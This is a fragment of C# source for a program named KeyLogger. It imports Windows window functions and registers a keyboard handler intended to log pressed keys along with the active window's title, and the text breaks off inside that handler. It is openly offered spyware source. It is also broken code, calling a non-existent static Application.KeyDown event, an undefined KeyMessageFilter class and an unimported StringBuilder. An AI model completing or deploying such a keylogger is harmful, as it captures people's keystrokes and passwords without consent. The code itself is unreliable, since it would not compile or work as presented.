using System;

using System.Runtime.InteropServices;

using System.Windows.Forms;

​

namespace KeyLogger

{

    class Program

    {

        // Import the GetForegroundWindow and GetWindowText functions

        // from the User32.dll library

        [DllImport("User32.dll")]

        private static extern IntPtr GetForegroundWindow();

        [DllImport("User32.dll")]

        private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

​

        static void Main(string[] args)

        {

            // Register an event handler for the KeyDown event

            // of the current application

            Application.AddMessageFilter(new KeyMessageFilter());

            Application.KeyDown += new KeyEventHandler(KeyDownHandler);

​

            // Run the application

            Application.Run();

        }

​

        // Event handler for the KeyDown event

        private static void KeyDownHandler(object sender, KeyEventArgs e)

        {

            // Print the name of the key that was pressed and

            // the title of the active window

​